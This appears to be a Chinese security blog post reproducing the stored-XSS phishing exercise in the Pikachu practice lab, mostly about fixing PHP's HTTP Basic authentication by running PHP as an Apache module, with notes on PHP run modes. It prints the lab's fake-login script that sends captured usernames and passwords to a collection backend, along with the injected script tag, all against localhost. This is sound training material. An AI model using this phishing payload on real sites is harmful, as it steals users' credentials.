Pikachu靶場系列之XSS釣魚攻擊與PHP中的HTTP認證
摘要:經過搜索找到了原因: PHP的HTTP認證機制僅在PHP以Apache模塊方式運行時纔有效,因此該功能不適用於CGI版本。而phpStudy默認是以 CGI/FastCGI 模式運行,如果想以模塊方式運行,則需要收到安裝Apache和對應版本的PHP。
背景
最近在Pikachu靶場中復現釣魚攻擊時,最後一步 Basic
認證後數據無法發送到後臺,而是一直重複彈出認證提示框。經過一番折騰後終於發現了原因並解決。
原因
先貼出後臺 fish.php
代碼
<?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //發送認證框,並給出迷惑性的info header('Content-type:text/html;charset=utf-8'); header("WWW-Authenticate: Basic realm='認證'"); header('HTTP/1.0 401 Unauthorized'); echo 'Authorization Required.'; exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //將結果發送給蒐集信息的後臺,請將這裏的IP地址修改爲管理後臺的IP header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]} &password={$_SERVER[PHP_AUTH_PW]}"); exit; } ?>
這裏可以看到,基本邏輯是判斷 $_SERVER['PHP_AUTH_USER']
或 $_SERVER['PHP_AUTH_PW']
是否爲空,若爲空則彈窗認證框。但是實驗時發現無論怎麼輸入,都是一直循環彈認證框,猜測輸入的內容沒有傳到這2個變量。於是我將 var_dump($_SERVER)
的註釋移除,看看 $_SERVER
變量裏到底有哪些數據
array(44) { ["PATH"]=> string(726) "G:\XShell6\;...E:\Git\bin;" ["SYSTEMROOT"]=> string(10) "C:\WINDOWS" ["COMSPEC"]=> string(27) "C:\WINDOWS\system32\cmd.exe" ["PATHEXT"]=> string(53) ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC" ["WINDIR"]=> string(10) "C:\WINDOWS" ["PHP_FCGI_MAX_REQUESTS"]=> string(4) "1000" ["PHPRC"]=> string(31) "G:/phpStudy/php/php-7.0.12-nts/" ["_FCGI_SHUTDOWN_EVENT_"]=> string(4) "2312" ["SCRIPT_NAME"]=> string(29) "/pikachu/pkxss/xfish/fish.php" ["REQUEST_URI"]=> string(29) "/pikachu/pkxss/xfish/fish.php" ["QUERY_STRING"]=> string(0) "" ["REQUEST_METHOD"]=> string(3) "GET" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["REMOTE_PORT"]=> string(4) "1278" ["SCRIPT_FILENAME"]=> string(44) "G:/phpStudy/WWW/pikachu/pkxss/xfish/fish.php" ["SERVER_ADMIN"]=> string(18) "[email protected]" ["CONTEXT_DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW" ["CONTEXT_PREFIX"]=> string(0) "" ["REQUEST_SCHEME"]=> string(4) "http" ["DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW" ["REMOTE_ADDR"]=> string(9) "127.0.0.1" ["SERVER_PORT"]=> string(2) "80" ["SERVER_ADDR"]=> string(9) "127.0.0.1" ["SERVER_NAME"]=> string(9) "127.0.0.1" ["SERVER_SOFTWARE"]=> string(52) "Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9" ["SERVER_SIGNATURE"]=> string(0) "" ["SystemRoot"]=> string(10) "C:\WINDOWS" ["HTTP_COOKIE"]=> string(36) "PHPSESSID=i8puesvk7tu2s13kokh88qgtu1" ["HTTP_ACCEPT_LANGUAGE"]=> string(14) "zh-CN,zh;q=0.9" ["HTTP_ACCEPT_ENCODING"]=> string(17) "gzip, deflate, br" ["HTTP_SEC_FETCH_MODE"]=> string(8) "navigate" ["HTTP_SEC_FETCH_SITE"]=> string(4) "none" ["HTTP_ACCEPT"]=> string(124) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ["HTTP_SEC_FETCH_USER"]=> string(2) "?1" ["HTTP_USER_AGENT"]=> string(115) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" ["HTTP_CACHE_CONTROL"]=> string(9) "max-age=0" ["HTTP_CONNECTION"]=> string(5) "close" ["HTTP_HOST"]=> string(9) "127.0.0.1" ["FCGI_ROLE"]=> string(9) "RESPONDER" ["PHP_SELF"]=> string(29) "/pikachu/pkxss/xfish/fish.php" ["REQUEST_TIME_FLOAT"]=> float(1580478129.2173) ["REQUEST_TIME"]=> int(1580478129) } Authorization Required.
這裏可以看到根本沒有 $_SERVER['PHP_AUTH_USER']
和 $_SERVER['PHP_AUTH_PW']
這2個變量。經過搜索找到了原因: PHP的HTTP認證機制僅在PHP以Apache模塊方式運行時纔有效,因此該功能不適用於CGI版本。 通過 phpinfo()
頁面可以看到 Server API
爲 CGI/FastCGI
。
重新部署環境
所以現在可以知道,只需將PHP 以模塊模式運行 即可使HTTP認證機制生效。而phpStudy默認是以 CGI/FastCGI
模式運行,如果想以模塊方式運行,則需要收到安裝Apache和對應版本的PHP。
安裝Apache
首先下載 Apache 。Apache要在VC運行庫裏運行,如果沒有VC庫也可以在該頁面下載對應的 VC14
或 VC15
下載完成後解壓到指定目錄,打開 Apache24/conf/httpd.conf
文件,找到 Define SRVROOT
,將 /Apache24
修改爲解壓目錄,如這裏解壓在 G:\Apache24
目錄
Define SRVROOT "G:\Apache24"
然後使用管理員權限打開CMD,執行以下命令
G:\Apache24\bin\httpd.exe -k install -n apache
進入 bin
目錄,運行 ApacheMonitor.exe
。在托盤處左鍵點擊Apache小圖標,選擇 start
,然後訪問 localhost
測試
配置PHP
關於PHP的版本選擇需要注意以下幾點
VC版本:以模塊模式運行,需要VC版本庫一致,前面Apache是VC15,所以PHP也要選擇VC15。並且如果電腦上沒有VC15運行庫,需要另外安裝。
TS/NTS: TS 是指具有多線程功能的構建, NTS 僅指單線程構建。NTS一般適用於CGI/FastCGI,因此這裏需要選擇 TS 版
x86/x64:前面Apache是x86,儘量選擇一致的,避免各種不兼容。所以選擇 x86
總結:如果你的Apache版本和我的一樣: httpd-2.4.41-o111c-x86-vc15-r2
,那麼PHP請選擇: php-7.x.x-Win32-vc15-x86.zip
下載 PHP 並解壓
打開Apache的 httpd.conf
文件,在最後面增加配置
# 此處修改爲你的PHP目錄 LoadModule php7_module G:/php/php7apache2_4.dll PHPIniDir G:/php AddType application/x-httpd-php .php
重啓Apache,並Apache安裝目錄下的 htdocs
目錄新建一個 test.php
,寫入以下內容:
<?php phpinfo(); ?>
最後通過瀏覽器訪問: [http://localhost/test.php](http://localhost/test.php)
,可以看到 Server API
爲 Apache 2.0 Handler
復現釣魚攻擊
先把PHP安裝目錄下的 php.ini-production
文件複製一份並重命名爲 php.ini
,然後打開
找到 extension = mysqli
,將前面 ;
去掉
找到 extension_dir = "ext"
,將前面 ;
去掉,並修改爲PHP路徑下的 ext
extension_dir = "G:/php/ext"
將 Pikachu
靶場複製到 htdocs
目錄下,並開啓MySQL。這裏使用的是phpStudy環境,由於Apache已經另外安裝並開啓了,因此這裏只需要單獨啓動MySQL即可
瀏覽器訪問: http://127.0.0.1/pikachu/vul/xss/xss_stored.php
,插入惡意代碼
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
另開一個瀏覽器,模擬普通用戶訪問 http://127.0.0.1/pikachu/vul/xss/xss_stored.php
,彈框輸入賬號密碼,輸入後點擊確定
此時,黑客可從後臺看到賬號密碼。至此,整個實驗終於結束了
總結
PHP運行模式
這裏說明一下PHP的運行模式,共有4種:
CGI協議模式:該模式允許web服務器通過特定的協議與應用程序通信。由於 每次用戶請求都得fork創建進程調用一次程序 ,然後銷燬進程,所以性能較低,調用原理大概爲:
用戶請求
Web服務器接收請求
fork子進程調用程序/執行程序
程序返回內容/程序調用結束
Web服務器接收內容
返回給用戶
Fast-CGI協議模式:CGI協議模式升級版。它像是一個常駐型CGI, 只要開啓就可一直處理請求,不再需要結束進程 。調用原理大概爲:
Web服務器Fast-CGI進程管理器初始化
預先fork n個進程用戶請求
Web服務器接收請求
交給Fast-CGI進程管理器
Fast-CGI進程管理區接收,給其中一個空閒Fast-CGI進程處理
處理完成,Fast-CGI進程變爲空閒狀態,等待下次請求
web服務器接收內容
返回給用戶
Apache 2.0 Handler
模塊模式:Apache+PHP運行時,默認使用的是模塊模式,它把PHP作爲Apache的模塊隨Apache啓動而啓動, PHP進程和Apache進程合一塊 。接收到用戶請求時則直接通過調用 mod_php
模塊進行處理。 模塊模式是以 mod_php5
模塊的形式集成,此時 mod_php5
模塊的作用是接收Apache傳遞過來的PHP文件請求,並處理這些請求,然後將處理後的結果返回給Apache。如果我們在Apache啓動前在其配置文件中配置好了PHP模塊( mod_php5
),PHP模塊通過註冊Apache2的 ap_hook_post_config
掛鉤,在Apache啓動的時候啓動此模塊以接受PHP文件的請求
PHP-Cli模式:命令行模式。該模式不需要藉助其他程序,直接輸入 php xx.php
就能執行PHP代碼,命令行模式和常規web模式明顯不一樣有以下幾點
沒有超時時間
默認關閉Buffer緩衝
STDIN
和 STDOUT
標準輸入/輸出/錯誤的使用
echo
、 var_dump
、 phpinfo
等輸出直接輸出到控制檯
可使用的類/函數 不同
php.ini
配置的不同
參考文章:
*本文作者:FengSec,轉載請註明來自FreeBuf.COM